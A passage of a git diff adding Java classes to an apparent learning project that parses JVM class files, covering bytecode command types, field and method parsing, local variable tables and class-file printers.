+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLenght = iter.nextU4ToInt();
+
+		LocalVariableTable localVariableTable = new LocalVariableTable(attrNameIndex, attrLenght);
+
+		int localVariableTableLen = iter.nextU2ToInt();
+		for (int i = 0; i < localVariableTableLen; i++) {
+			LocalVariableItem localVariableItem = new LocalVariableItem();
+			localVariableItem.setStartPC(iter.nextU2ToInt());
+			localVariableItem.setLength(iter.nextU2ToInt());
+			localVariableItem.setNameIndex(iter.nextU2ToInt());
+			localVariableItem.setDescIndex(iter.nextU2ToInt());
+			localVariableItem.setIndex(iter.nextU2ToInt());
+			localVariableTable.addLocalVariableItem(localVariableItem);
+		}
+
+		return localVariableTable;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/attr/StackMapTable.java b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..0814041fc6
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
index b68bdb0998..9d32f49239 100644
--- a/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -2,6 +2,11 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
 
 public class ClassFile {
 	
@@ -11,7 +16,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -23,8 +29,6 @@ public void setAccessFlag(AccessFlag accessFlag) {
 		this.accessFlag = accessFlag;
 	}
 	
-	
-	
 	public ConstantPool getConstantPool() {
 		return pool;
 	}
@@ -48,7 +52,18 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	
 	public void print(){
@@ -63,13 +78,23 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
 }
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..d93515a002
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..533345deb7
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,133 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String code){
+
+		return null;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/CommandParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..e48ab7c091
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,84 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+import java.util.List;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..beb16e5cda
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e5c00c29de
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..cdcdf7ff31
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..b8ab36c150
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..4a62b18a49
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..f7d8e92bdb
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd {
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..faf5c7f3e6
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand {
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..f7898f8a42
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..1b99558a3e
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..8bd2dbe59e
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,63 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.*;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/field/Field.java b/group05/578505552/miniJvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..72d268c6ca
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private ConstantPool pool;
+	
+	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool, ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+
+		String name = pool.getUTF8String(nameIndex);
+		System.out.println("field <" + name +  "> attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 4b8dbf180d..19201bd175 100644
--- a/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -6,14 +6,19 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 import com.coderising.jvm.parser.*;
 
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Map;
 
 public class ClassFileParser {
 
 	private static final Map<Integer, ConstantInfoParser> constantPoolParserMap = new HashMap<Integer, ConstantInfoParser>();
+
 	static {
 		constantPoolParserMap.put(ConstantInfo.UTF8_INFO, new UTF8InfoParser());
 //		constantPoolParserMap.put(ConstantInfo.INTEGER_INFO, new IntegerInfoParser());
@@ -48,6 +53,11 @@ public ClassFile parse(byte[] codes) {
 		clzFile.setAccessFlag(parseAccessFlag(iterator));
 		clzFile.setClassIndex(parseClassInfex(iterator));
 
+		parseInterfaces(iterator);
+
+		parseFileds(clzFile, iterator);
+		parseMethods(clzFile, iterator);
+
 		return clzFile;
 	}
 
@@ -90,17 +100,26 @@ private void parseInterfaces(ByteCodeIterator iter) {
 
 		System.out.println("interfaceCount:" + interfaceCount);
 
+//		throw new RuntimeException("interfaceParse has not been implemented");
+
 		// TODO : 如果实现了interface, 这里需要解析
 	}
 
 	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
 
-
+		int fieldCount = iter.nextU2ToInt();
+		for (int i = 0; i < fieldCount; i++) {
+			clzFile.addField(Field.parse(clzFile.getConstantPool(), iter));
+		}
 	}
 
 	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
 
+		int methodCount = iter.nextU2ToInt();
 
+		for (int i = 0; i < methodCount; i++) {
+			clzFile.addMethod(Method.parse(clzFile, iter));
+		}
 	}
 
 }
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/method/Method.java b/group05/578505552/miniJvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..98b2042c11
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,99 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	private CodeAttr codeAttr;
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		int accessFlags = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		int attributesCount = iter.nextU2ToInt();
+
+		String name = clzFile.getConstantPool().getUTF8String(nameIndex);
+		System.out.println("method <" + name + "> attribute count : "+ attributesCount);
+
+		String descriptor = clzFile.getConstantPool().getUTF8String(descriptorIndex);
+		System.out.println("method <" + name + "> descriptor :" + descriptor);
+
+		Method method = new Method(clzFile, accessFlags, nameIndex, descriptorIndex);
+		for (int i = 0; i < attributesCount; i++) {
+
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+
+			if (AttributeInfo.CODE.equals(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				method.setCodeAttr(codeAttr);
+			} else {
+				throw new RuntimeException(attrName + " attribute has not been implemented");
+			}
+		}
+
+		return method;
+	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group05/578505552/miniJvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..ee6a99daa6
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group05/578505552/miniJvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..c1a9700884
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
